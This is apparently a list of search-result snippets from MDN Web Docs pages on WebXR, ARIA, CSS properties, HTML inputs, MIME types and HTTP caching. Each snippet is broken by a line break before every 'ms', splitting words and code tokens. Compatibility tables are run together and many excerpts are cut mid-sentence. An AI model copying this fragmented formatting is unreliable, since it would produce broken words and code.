... webgl stats a site with statistics about webgl capabilities in browsers on different platfor
ms.
Inputs and input sources - Web APIs
by combining these two types of input with the changing of viewing position and/or orientation through the headset or other mechanis
ms, you can create an interactive simulated environment.
... when the targeting ray mode is gaze, the ray's origin is at the viewer and simply ai
ms in the direction the user is facing.
... choosing the primary controller in order to avoid having proble
ms introduced by multiple controllers trying to inadvertently manipulate the ui at the same time, your app may need to have a "primary" controller.
... action the avatar perfor
ms an action, such as using an object or weapon, jumping, or any other activity not related to basic movement and rotation.
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
note: this article presumes that you are familiar with the concepts introduced in geometry and reference spaces in webxr: that is, the basics of 3d coordinate syste
ms, as well as webxr spaces, reference spaces, and how reference spaces are used to create local coordinate syste
ms for individual objects or movable components within a scene.
... because each of these is defined using a reference space as its foundation, the webxr device api can easily be used to convert among the coordinate syste
ms, perform operations affecting these spaces and their corresponding objects, and so forth.
... some xr hardware uses algorith
ms to compute the estimated position of the user based on the movement currently ongoing, while other hardware will report no movement at all, but with emulatedposition set to true.
... <<<--- needs an example --->>> the reset event <<<--- this section probably has proble
ms still; corrections are appreciated --->>> when a discontinuity or break in the native or effective origin of a reference space occurs, the user agent will send the xrreferencespace a reset event.
Window.devicePixelRatio - Web APIs
in simpler ter
ms, this tells the browser how many of the screen's actual pixels should be used to draw a single css pixel.
...a value of 1 indicates a classic 96 dpi (76 dpi on some platfor
ms) display, while a value of 2 is expected for hidpi/retina displays.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdevicepixelratiochrome full support 1edge full support 12firefox full support 18ie full support 11opera full support 11.1safari full support ...
... 3webview android full support 1chrome android full support 18firefox android full support 18opera android full support 11.1safari ios full support 1sa
msung internet android full support 1.0legend full support full support ...
XRInputSource - Web APIs
the device is specific to the platform being used, but provides the direction in which it is being aimed and optionally may generate events if the user triggers perfor
ms actions using the device.
... handednessread only a do
mstring that indicates which hand the device represented by this xrinputsource is being used in, if any.
... profilesread only an array of do
mstring objects, each specifying the name of an input profile describing the preferred visual representation and behavior of this input source.
... targetraymoderead only a do
mstring indicating the methodology used to produce the target ray: gaze, tracked-pointer, or screen.
Using the aria-invalid attribute - Accessibility
the snippet below shows a very simple validation function, which only checks for the presence of a particular character (in the real world, validation will likely be more sophisticated): function checkvalidity(aid, asearchterm, a
msg){ var elem = document.getelementbyid(aid); var invalid = (elem.value.indexof(asearchterm) < 0); if (invalid) { elem.setattribute("aria-invalid", "true"); updatealert(a
msg); } else { elem.setattribute("aria-invalid", "false"); updatealert(); } } the snippet below shows the alert functions, which add (or remove) the error message: function upd...
...atealert(
msg) { var oldalert = document.getelementbyid("alert"); if (oldalert) { document.body.removechild(oldalert); } if (
msg) { var newalert = document.createelement("div"); newalert.setattribute("role", "alert"); newalert.setattribute("id", "alert"); var content = document.createtextnode(
msg); newalert.appendchild(content); document.body.appendchild(newalert); } } note that the alert has the aria role attribute set to "alert." working examples: alert role example (uses the aria-invalid attribute) notes when aria-invalid is used in conjunction with the aria-required attribute, aria-invalid should not be set to true before the form is submitted - only in response to validation.
... future expansion may add ter
ms to the vocabulary used for this attribute.
... used in aria roles all elements of the base markup related aria techniques using the aria-required attribute using the alert role compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-invalid property wai authoring practices for for
ms ...
ARIA: application role - Accessibility
this is often referred to as virtual document, browse mode, or similar ter
ms.
... for all of this to work, ats intercept almost all keyboard input and consume it the
mselves, letting nothing through to the browser or other user agent.
...the screen reader mode, often called for
ms mode or focus mode, lets all keyboard input go through to the browser again.
...any reading mechanis
ms assistive technologies may have for web content will not apply.
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
i> </ul> </main> <footer> <p>this is my footer paragraph</p> </footer> :-webkit-any(header, main, footer) p:hover { color: red; cursor: pointer; } :-moz-any(header, main, footer) p:hover { color: red; cursor: pointer; } :matches(header, main, footer) p:hover { color: red; cursor: pointer; } :is(header, main, footer) p:hover { color: red; cursor: pointer; } let matchedite
ms; try { matchedite
ms = document.queryselectorall(':is(header, main, footer) p'); } catch(e) { try { matchedite
ms = document.queryselectorall(':matches(header, main, footer) p'); } catch(e) { try { matchedite
ms = document.queryselectorall(':-webkit-any(header, main, footer) p'); } catch(e) { try { matchedite
ms = document.queryselectorall(':-moz-any(header, mai...
...n, footer) p'); } catch(e) { console.log('your browser doesn\'t support :is(), :matches(), or :any()'); } } } } matchedite
ms.foreach(applyhandler); function applyhandler(elem) { elem.addeventlistener('click', function(e) { alert('this paragraph is inside a ' + e.target.parentnode.nodename); }); } simplifying list selectors the :is() pseudo-class can greatly simplify your css selectors.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet:is()chrome full support 68notes disabled full support 68notes disabled notes combinators in the selector list argument may not match correctly (see bug 842157).disabled from version 68: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
...-webkit-any()safari ios full support 9alternate name full support 9alternate name alternate name uses the non-standard name: :matches() full support 5notes alternate name notes doesn't support combinators.alternate name uses the non-standard name: :-webkit-any()sa
msung internet android no support 9.0 — 10.0alternate name no support 9.0 — 10.0alternate name alternate name uses the non-standard name: :matches() full support 1.0alternate name alternate name uses the non-standard name: :-webkit-any()legend full support ...
:visited - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet:visitedchrome full support 1edge full support 12firefox full support 1ie full support 4opera full support 3.5safari full support ...
... 1webview android full support 4.4chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1sa
msung internet android full support 1.0:visited no longer matches <link> elementschrome full support 1notes full support 1notes notes chromium has never matched <link> elements with link pseudo-classes.edge full support 12firefox ...
...ements with link pseudo-classes.firefox android no support noopera android full support 14notes full support 14notes notes chromium has never matched <link> elements with link pseudo-classes.safari ios full support 12sa
msung internet android full support 1.0notes full support 1.0notes notes chromium has never matched <link> elements with link pseudo-classes.restrict css properties allowed in a statement using :visited for privacychrome full support 6edge full suppo...
... 5webview android full support 37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 4.2sa
msung internet android full support 1.0legend full support full support no support no supportsee implementation notes.see implementation notes.
-webkit-transform-2d - CSS: Cascading Style Sheets
the -webkit-transform-2d boolean css media feature is a chrome extension whose value is true if vendor-prefixed css 2d transfor
ms are supported.
... syntax -webkit-transform-2d is a boolean css media feature whose value is true if the browser supports -webkit prefixed css 2d transfor
ms.
... values true the browser supports the 2d css transfor
ms with the -webkit prefix.
... false the 2d css transfor
ms prefixed with -webkit are not supported by the browser.
-webkit-transform-3d - CSS: Cascading Style Sheets
the -webkit-transform-3d boolean css media feature is a chrome extension whose value is true if vendor-prefixed css 3d transfor
ms are supported.
... syntax -webkit-transform-3d is a boolean css media feature whose value is true if the browser supports -webkit prefixed css 3d transfor
ms.
... values true the browser supports the 3d css transfor
ms with the -webkit prefix.
... false the 3d css transfor
ms prefixed with -webkit are not supported by the browser.
Border-image generator - CSS: Cascading Style Sheets
, arial, helvetica, sans-serif; font-size: 12px; background-image: url("https://mdn.mozillademos.org/files/6037/drop_arrow_icon.png"); background-position: right center; background-repeat: no-repeat; background-color: #359740; position: relative; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -
ms-user-select: none; user-select: none; } .ui-dropdown:hover { cursor: pointer; background-color: #208b20; } /* dropdown select button */ .ui-dropdown-select { height: inherit; padding: 0 0.75em; color: #fff; line-height: 2em; } /* dropdown list */ .ui-dropdown-list { width: 100%; height: 150px; max-height: 150px; margin: 0; padding: 0 0.3em; border: 3px solid #3490d2; border-co...
...***********************************************************************/ /*************************************************************************************/ /* * ui button */ /* checkbox */ .ui-checkbox { text-align: center; font-size: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -
ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height: 1em; background-color: #888; background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png"); background-position: center center; background-repeat: no-repeat; color: #fff; border-radius: 2p...
... * border image generator tool */ body { width: 100%; margin: 0 auto; padding: 0 0 20px 0; font-family: "segoe ui", arial, helvetica, sans-serif; /*background: url("https://mdn.mozillademos.org/files/6025/grain.png");*/ border: 1px solid #eee; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -
ms-user-select: none; user-select: none; } body[data-move='x'] { cursor: w-resize !important; } body[data-move='y'] { cursor: s-resize !important; } #container { width: 100%; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } [data-draggable='true']:hover { cursor: move; } [data-draggable='true']:hover > * { cursor: default; } /******************...
...gs .close:hover { cursor: pointer; opacity: 1; } #unit-settings[data-active='true'] { opacity: 1; } #unit-settings[data-active='false'] { opacity: 0; top: -100px !important; } /* * css output code */ #output { padding: 10px; border: 2px dashed #888 !important; box-shadow: none !important; border-radius: 3px; overflow: hidden; -moz-user-select: text; -webkit-user-select: text; -
ms-user-select: text; user-select: text; } @media (min-width: 880px) { #output { width: 63.33% !important; } } @media (max-width: 879px) { #output { width: 87% !important; } } #output .title { width: 100%; height: 30px; margin: 0 0 10px 0; line-height: 25px; text-align: center; color: #aaa; } #output .css-property { width: 100%; margin: 0; color: #555; font-size: 14px; lin...
Introduction to formatting contexts - CSS: Cascading Style Sheets
a block formatting context (bfc) will lay child elements out according to block layout rules, a flex formatting context will lay its children out as flex ite
ms, etc.
...isplay: inline-block table cells or elements with display: table-cell, including anonymous table cells created when using the display: table-* properties table captions or elements with display: table-caption block elements where overflow has a value other than visible elements with display: flow-root or display: flow-root list-item elements with contain: layout, content, or strict flex ite
ms grid ite
ms multicol containers elements with column-span set to all this is useful because a new bfc will behave much like the outermost document in that it becomes a mini-layout inside the main layout.
... a bfc contains everything inside it, float and clear only apply to ite
ms inside the same formatting context, and margins only collapse between elements in the same formatting context.
... the box model does not fully apply to ite
ms participating in an inline formatting context.
CSS Scrollbars - CSS: Cascading Style Sheets
scrollbar-width desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetscrollbar-widthchrome no support noedge no support nofirefox full support 64 full support 64 full support 63disabled disabled from version 63: this feature is behi...
...to change preferences in firefox, visit about:config.opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature.
... scrollbar-color desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetscrollbar-colorchrome no support noedge no support nofirefox full support 64notes full support 64notes notes on macos, you need to set the general > show scroll bars setting in system preferences to "always" for this property to have any effect.
...to change preferences in firefox, visit about:config.opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this featu...
CSS values and units - CSS: Cascading Style Sheets
dimensions a <dimension> is a <number> with a unit attached to it, for example 45deg, 100
ms, or 10px.
...when including a time value, the unit identifier -- the s or
ms -- is required.
... unit name description s seconds
ms milliseconds there are 1,000 milliseconds in a second.
...(but see notes regarding whitespace within pages for min(), max() and clamp() functions.) some legacy functional notations such as rgba() use commas, but generally commas are only used to separate ite
ms in a list.
animation-direction - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetanimation-directionchrome full support 43 full support 43 full support 3prefixed prefixed implemented with the vendor prefix: -webkit-edge full support 12 full support ...
... no support 12.1 — 14 no support 12 — 14prefixed prefixed implemented with the vendor prefix: -o-safari ios full support 9 full support 9 full support 3.2prefixed prefixed implemented with the vendor prefix: -webkit-sa
msung internet android full support 4.0 full support 4.0 full support 1.0prefixed prefixed implemented with the vendor prefix: -webkit-alternate-reversechrome full support 19edge full support ...
... 6webview android full support ≤37chrome android full support 25firefox android full support 16opera android full support 12.1safari ios full support 6sa
msung internet android full support 1.5reversechrome full support 19edge full support 12firefox full support 16ie full support 10opera full support ...
... 6webview android full support ≤37chrome android full support 25firefox android full support 16opera android full support 12.1safari ios full support 6sa
msung internet android full support 1.5legend full support full supportuser must explicitly enable this feature.user must explicitly enable this feature.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
background-position - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetbackground-positionchrome full support 1edge full support 12firefox full support 1ie full support 4opera full support 3.5safari full support ...
... 1webview android full support ≤37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1sa
msung internet android full support 1.0multiple backgroundschrome full support 1edge full support 12firefox full support 3.6ie full support 9opera full support ...
... 1.3webview android full support ≤37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1sa
msung internet android full support 1.0four-value syntax (support for offsets from any edge)chrome full support 25edge full support 12firefox full support 13ie full support 9ope...
... 7webview android full support ≤37chrome android full support 25firefox android full support 14opera android full support 14safari ios full support 7sa
msung internet android full support 1.5legend full support full support quantum css notes gecko has a bug meaning that background-position can't be transitioned between two values containing different numbers of <position> values, for example background-position: 10px 10px; and backg...
caption-side - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcaption-sidechrome full support 1edge full support 12firefox full support 1ie full support 8opera full support 4safari full support ...
... 1webview android full support ≤37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1sa
msung internet android full support 1.0non-standard values left, right, top-outside, and bottom-outside non-standardchrome no support noedge no support nofirefox full support 1ie no support ...
...ort nowebview android no support nochrome android no support nofirefox android full support 4opera android no support nosafari ios no support nosa
msung internet android no support notop and bottom are relative to the writing-mode valuechrome no support noedge no support nofirefox full support 42ie no support noopera ...
...rt nowebview android no support nochrome android no support nofirefox android full support 42opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportnon-standard.
flex-grow - CSS: Cascading Style Sheets
the remaining space is the size of the flex container minus the size of all flex ite
ms' sizes together.
... if all sibling ite
ms have the same flex grow factor, then all ite
ms will receive the same share of remaining space, otherwise it is distributed according to the ratio defined by the different flex grow factors.
... formal definition initial value0applies toflex ite
ms, including in-flow pseudo-elementsinheritednocomputed valueas specifiedanimation typea number formal syntax <number> examples setting flex item grow factor html <h4>this is a flex-grow</h4> <h5>a,b,c and f are flex-grow:1 .
..." style="background-color:lightblue;">b</div> <div class="box" style="background-color:yellow;">c</div> <div class="box1" style="background-color:brown;">d</div> <div class="box1" style="background-color:lightgreen;">e</div> <div class="box" style="background-color:brown;">f</div> </div> css #content { display: flex; justify-content: space-around; flex-flow: row wrap; align-ite
ms: stretch; } .box { flex-grow: 1; border: 3px solid rgba(0,0,0,.2); } .box1 { flex-grow: 2; border: 3px solid rgba(0,0,0,.2); } result specifications specification status comment css flexible box layout modulethe definition of 'flex-grow' in that specification.
font-size - CSS: Cascading Style Sheets
description there are several ways to specify the font size, including with keywords or numerical values for pixels or e
ms.
...the results may vary slightly across browsers, as they may use different algorith
ms to achieve a similar effect.
... e
ms another way of setting the font size is with em values.
... re
ms rem values were invented in order to sidestep the compounding problem.
font-variant-alternates - CSS: Cascading Style Sheets
/* keyword values */ font-variant-alternates: normal; font-variant-alternates: historical-for
ms; /* functional notation values */ font-variant-alternates: stylistic(user-defined-ident); font-variant-alternates: styleset(user-defined-ident); font-variant-alternates: character-variant(user-defined-ident); font-variant-alternates: swash(user-defined-ident); font-variant-alternates: ornaments(user-defined-ident); font-variant-alternates: annotation(user-defined-ident); font-variant-alternates: swash(ident1) annotation(ident2); /* global values */ font-variant-alternates: initial; font-variant-alternates: inherit; font-...
... syntax this property may take one of two for
ms: either the keyword normal or one or more of the other keywords and functions listed below, space-separated, in any order.
... historical-for
ms this keyword enables historical for
ms — glyphs that were common in the past but not today.
...it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | [ stylistic( <feature-value-name> ) | historical-for
ms | styleset( <feature-value-name># ) | character-variant( <feature-value-name># ) | swash( <feature-value-name> ) | ornaments( <feature-value-name> ) | annotation( <feature-value-name> ) ]where <feature-value-name> = <custom-ident> examples html <p>firefox rocks!</p> <p class="variant">firefox rocks!</p> css @font-feature-values "leitura display swashes" { @swash { fancy: 1 } } p { fo...
list-style - CSS: Cascading Style Sheets
note: this property is applied to list ite
ms, i.e., elements with display: list-item; .
...because this property is inherited, it can be set on a parent element (normally <ol> or <ul>) to make the same list styling apply to all the ite
ms inside.
...this ensures the design is unaffected by the bug fix and that list ite
ms are not improperly described.
...e: none; } ul li::before { content: "\200b"; } voiceover and list-style-type: none – unfettered thoughts mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valueas each of the properties of the shorthand:list-style-type: disclist-style-position: outsidelist-style-image: noneapplies tolist ite
msinheritedyescomputed valueas each of the properties of the shorthand:list-style-image: none or the image with its uri made absolutelist-style-position: as specifiedlist-style-type: as specifiedanimation typediscrete formal syntax <'list-style-type'> | <'list-style-position'> | <'list-style-image'> examples setting list style type and position html list 1 <ul class="one"> <li>list item1</li...
outline-color - CSS: Cascading Style Sheets
invert to ensure the outline is visible, perfor
ms a color inversion of the background.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetoutline-colorchrome full support 1edge full support 12firefox full support 1.5 full support 1.5 no support 1 — 3.6prefixed prefixed implemented with the vendor prefix: -moz-ie ...
... 1.2webview android full support 37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1sa
msung internet android full support 1.0invertchrome no support noedge no support 12 — 79firefox no support 1 — 3ie full support 8opera no support 7 — 15safari no suppo...
...rt nowebview android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
quotes - CSS: Cascading Style Sheets
that's the question!</q> css q { quotes: '"' '"' "'" "'"; } q::before { content: open-quote; } q::after { content: close-quote; } result auto quotes for most browsers, the default value of quotes is auto (firefox 70+), or the browser otherwise had this default behavior (chromiu
ms, safari, edge), so this example works without it being explicitly being set.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetquoteschrome full support 11edge full support 12firefox full support 1.5ie full support 8opera full support 4safari full support ...
... 9webview android full support 37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 9sa
msung internet android full support 1.0auto keywordchrome no support nonotes no support nonotes notes this value is not supported, but the default browser behavior is to choose appropriate quotes for the user's language settingedge no support ...
...s this value is not supported, but the default browser behavior is to choose appropriate quotes for the user's language settingsafari ios no support nonotes no support nonotes notes this value is not supported, but the default browser behavior is to choose appropriate quotes for the user's language settingsa
msung internet android no support nonotes no support nonotes notes this value is not supported, but the default browser behavior is to choose appropriate quotes for the user's language settinglegend full support full support ...
transform - CSS: Cascading Style Sheets
the transform functions are multiplied in order from left to right, meaning that composite transfor
ms are effectively applied in order from right to left.
...> ] )<rotatez()> = rotatez( [ <angle> | <zero> ] )<perspective()> = perspective( <length> )where <length-percentage> = <length> | <percentage> examples translating and rotating an element html <div>transformed element</div> css div { border: solid red; transform: translate(30px, 20px) rotate(20deg); width: 140px; height: 60px; } result more examples please see using css transfor
ms and <transform-function> for more examples.
... specifications specification status comment css transfor
ms level 2the definition of 'transform' in that specification.
... css transfor
ms level 1the definition of 'transform' in that specification.
will-change - CSS: Cascading Style Sheets
important: will-change is intended to be used as a last resort, in order to try to deal with existing performance proble
ms.
... it should not be used to anticipate performance proble
ms.
...will-change is intended to be used as something of a last resort, in order to try to deal with existing performance proble
ms.
... it should not be used to anticipate performance proble
ms.
Event developer guide - Developer guides
the device on which the web browser is running can trigger events, for example due to a change in its position and orientation in the real world, as discussed partially by the page on orientation coordinate syste
ms and the page on the use of 3d transfor
ms.
... the media strea
ms embedded in the html documents might trigger some events, as explained in the media events page.
...this article provides details about the coordinate syste
ms at play and how you use them.overview of events and handlersevents and event handling provide a core technique in javascript for reacting to incidents occurring when a browser accesses a web page, including events from preparing a web page for display, from interacting with the content of the web page, relating to the device on which the browser is running, and from many other causes such as med...
...you should instead use the standard touch events api, supported since gecko/firefox 6 with multi-touch support added in gecko/firefox 12.using device orientation with 3d transfor
msthis article provides tips on how to use device orientation information in tandem with css 3d transfor
ms.
HTML5 - Developer guides
for
ms improvements a look at the constraint validation api, several new attributes, new values for the <input> attribute type and the new <output> element.
... new semantic elements beside sections, media and for
ms elements, there are numerous new elements, like <mark>, <figure>, <figcaption>, <data>, <time>, <output>, <progress>, or <meter> and <main>, increasing the number of valid html5 elements.
... webgl webgl brings 3d graphics to the web by introducing an api that closely confor
ms to opengl es 2.0 that can be used in html5 <canvas> elements.
... drag and drop the html5 drag and drop api allows support for dragging and dropping ite
ms within and between web sites.
Mobile Web Development - Developer guides
you won't be able to use the css :hover pseudo-class, and will need to design clickable ite
ms like buttons to respect the fact that fingers are fatter than mouse pointers.
... using tools like css lint can help find proble
ms like this in code, and preprocessors like sass and less can help you to produce cross-browser code.
... take care with user agent sniffing it's preferable for web sites to detect specific device features such as screen size and touch screens using the techniques listed above, and adapt the
mselves accordingly.
...this means testing on multiple platfor
ms — at least ios and android.
HTML attribute: accept - HTML: Hypertext Markup Language
for instance, there are a number of ways microsoft word files can be identified, so a site that accepts word files might use an <input> like this: <input type="file" id="docpicker" accept=".doc,.docx,application/
msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"> whereas if you're accepting a media file, you may want to be include any format of that media type: <input type="file" id="soundfile" accept="audio/*"> <input type="file" id="videofile" accept="video/*"> <input type="file" id="imagefile" accept="image/*"> the accept attribute doesn't validate the types of the selecte...
...most operating syste
ms lighten the files that don't match the criteria and aren't selectable.
...each unique file type specifier may take one of the following for
ms: a valid case-insensitive filename extension, starting with a period (".") character.
...(many mobile devices also let the user take a picture with the camera when this is used.) accept=".doc,.docx,.xml,application/
msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document" — accept anything that smells like an
ms word document.
The HTML autocomplete attribute - HTML: Hypertext Markup Language
using "name" rather than breaking the name down into its components is generally preferred because it avoids dealing with the wide diversity of human names and how they are structured; however, you can use the following autocomplete values if you do need to break the name down into its components: "honorific-prefix" the prefix or title, such as "mrs.", "mr.", "miss", "
ms.", "dr.", or "mlle.".
... examples <div> <label for="cc-number">enter your credit card number</label> <input name="cc-number" id="cc-number" autocomplete="off"> </div> administrative levels in addresses the four administrative level fields (address-level1 through address-level4) describe the address in ter
ms of increasing levels of precision within the country in which the address is located.
... united kingdom address input for
ms in the uk should contain one address level and one, two or three address lines, depending on the address.
...note that you can actually use just the postcode and address-line1 to sucessfully deliver mail in the uk, so they should be the only mandatory ite
ms, but usually people tend to provide more details.
<button>: The Button element - HTML: Hypertext Markup Language
the html <button> element represents a clickable button, used to submit for
ms or anywhere in a document for accessible, standard button functionality.
...use this method when the form has no side effects, like search for
ms.
...this value is passed to the server in para
ms when the form is submitted.
...this helps a variety of people, including people with motor control issues and people using non-precise for
ms of input such as a stylus or fingers.
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
while theoretically you can use as many <iframe>s as you like, check for performance proble
ms.
...see the article privacy, permissions, and information security for details on security issues and how <iframe> works with feature policy to keep syste
ms safe.
... allow-for
ms: allows the resource to submit for
ms.
...use a value of about:blank to embed an empty page that confor
ms to the same-origin policy.
<input type="checkbox"> - HTML: Hypertext Markup Language
value a do
mstring representing the value of the checkbox.
... events change and input supported common attributes checked idl attributes checked, indeterminate and value methods select() value a do
mstring representing the value of the checkbox.
... indeterminate if the indeterminate attribute is present on the <input> element defining a checkbox, the checkbox's value is neither true nor false, but is instead indeterminate, meaning that it's state cannot be determined or stated in pure binary ter
ms.
... beyond accessibility, this is another good reason to properly set up <label> elements on your for
ms.
<input type="month"> - HTML: Hypertext Markup Language
the microsoft edge month control looks like this: value a do
mstring representing a month and year, or empty.
... value a do
mstring representing the value of the month and year entered into the input, in the form yyyy-mm (four or more digit year, then a hyphen ("-"), followed by the two-digit month).
...as an example, the month picker on chrome for android looks like this: non-supporting browsers gracefully degrade to a text input, but this creates proble
ms both in ter
ms of consistency of user interface (the presented control will be different), and data handling.
... div { margin-bottom: 10px; position: relative; } input[type="number"] { width: 100px; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute; content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; } the best way to deal with dates in for
ms in a cross-browser way (until all of the major browsers have supported them for a while) is to get the user to enter the month and year in separate controls (<select> elements being popular; see below for an implementation), or use javascript libraries such as the jquery date picker plugin.
<input type="password"> - HTML: Hypertext Markup Language
note: any for
ms involving sensitive information like passwords (e.g.
... login for
ms) should be served over https; many browsers now implement mechanis
ms to warn against insecure login for
ms; see insecure passwords.
... value a do
mstring representing a password, or empty events change and input supported common attributes autocomplete, inputmode, maxlength, minlength, pattern, placeholder, readonly, required, and size idl attributes selectionstart, selectionend, selectiondirection, and value methods select(), setrangetext(), and setselectionrange() value the value attribute contains a do
mstring whose value is the current contents of the text editing control being used to enter the password.
... new-password allow the browser or password manager to automatically enter a new password for the site; this is used on "change your password" and "new user" for
ms, on the field asking the user for a new password.
<input type="radio"> - HTML: Hypertext Markup Language
value a do
mstring representing the value of the radio button.
... events change and input supported common attributes checked and value idl attributes checked and value methods select() value the value attribute is a do
mstring containing the radio button's value.
... beyond accessibility, this is another good reason to properly set up <label> elements on your for
ms.
... the css involved is a bit more significant: html { font-family: sans-serif; } div:first-of-type { display: flex; align-ite
ms: flex-start; margin-bottom: 5px; } label { margin-right: 15px; line-height: 32px; } input { -webkit-appearance: none; -moz-appearance: none; appearance: none; border-radius: 50%; width: 16px; height: 16px; border: 2px solid #999; transition: 0.2s all linear; margin-right: 5px; position: relative; top: 4px; } input:checked { border: 6px solid black; } button, l...
<title>: The Document Title element - HTML: Hypertext Markup Language
in general, a longer, descriptive title perfor
ms better than short or generic titles.
... the content of the title is one of the components used by search engine algorith
ms to decide the order in which to list pages in search results.
... don't use "keyword blobs." if your title is just a list of words, algorith
ms often reduce your page's position in the search results.
... example <title>menu - blue house chinese food - foodyum: online takeout today!</title> to help the user, update the page title value to reflect significant page state changes (such as form validation proble
ms).
Common MIME types - HTTP
this table lists some important mime types for the web: extension kind of document mime type .aac aac audio audio/aac .abw abiword document application/x-abiword .arc archive document (multiple files embedded) application/x-freearc .avi avi: audio video interleave video/x-
msvideo .azw amazon kindle ebook format application/vnd.amazon.ebook .bin any kind of binary data application/octet-stream .bmp windows os/2 bitmap graphics image/bmp .bz bzip archive application/x-bzip .bz2 bzip2 archive application/x-bzip2 .csh c-shell script application/x-csh .css cascading style...
... sheets (css) text/css .csv comma-separated values (csv) text/csv .doc microsoft word application/
msword .docx microsoft word (openxml) application/vnd.openxmlformats-officedocument.wordprocessingml.document .eot
ms embedded opentype fonts application/vnd.
ms-fontobject .epub electronic publication (epub) application/epub+zip .gz gzip compressed archive application/gzip .gif graphics interchange format (gif) image/gif .htm .html hypertext markup language (html) text/html .ico icon format image/vnd.microsoft.icon .ics icalendar format text/calendar .jar java archive (jar) application/java-archive .jpeg .jpg j...
... .ogx ogg application/ogg .opus opus audio audio/opus .otf opentype font font/otf .png portable network graphics image/png .pdf adobe portable document format (pdf) application/pdf .php hypertext preprocessor (personal home page) application/x-httpd-php .ppt microsoft powerpoint application/vnd.
ms-powerpoint .pptx microsoft powerpoint (openxml) application/vnd.openxmlformats-officedocument.presentationml.presentation .rar rar archive application/vnd.rar .rtf rich text format (rtf) application/rtf .sh bourne shell script application/x-sh .svg scalable vector graphics (svg) image/svg+xml .swf small web for...
... .wav waveform audio format audio/wav .weba webm audio audio/webm .webm webm video video/webm .webp webp image image/webp .woff web open font format (woff) font/woff .woff2 web open font format (woff) font/woff2 .xhtml xhtml application/xhtml+xml .xls microsoft excel application/vnd.
ms-excel .xlsx microsoft excel (openxml) application/vnd.openxmlformats-officedocument.spreadsheetml.sheet .xml xml application/xml if not readable from casual users (rfc 3023, section 3) text/xml if readable from casual users (rfc 3023, section 3) .xul xul application/vnd.mozilla.xul+xml .zip zip archive application/zip .3gp ...
MIME types (IANA media types) - HTTP
with the exception of multipart/form-data, used in the post method of html for
ms, and multipart/byteranges, used with 206 partial content to send part of a document, http doesn't handle multipart documents in a special way: the message is transmitted to the browser (which will likely show a "save as" window if it doesn't know how to display the document).
...a specific type like application/vnd.
mspowerpoint lets users open such files automatically in the presentation software of their choice.
... each browser perfor
ms mime sniffing differently and under different circu
mstances.
...not all operating syste
ms consider these suffixes meaningful (such as linux and macos), and there is no guarantee they are correct.
HTTP caching - HTTP
common for
ms of caching entries are: successful results of a retrieval request: a 200 (ok) response to a get request containing a resource like html documents, images or files.
... controlling caching the cache-control header the cache-control http/1.1 general-header field is used to specify directives for caching mechanis
ms in both requests and responses.
...caches have finite storage so ite
ms are periodically removed from storage.
...eviction algorith
ms often privilege fresh resources over stale resources.
List of default Accept values - HTTP
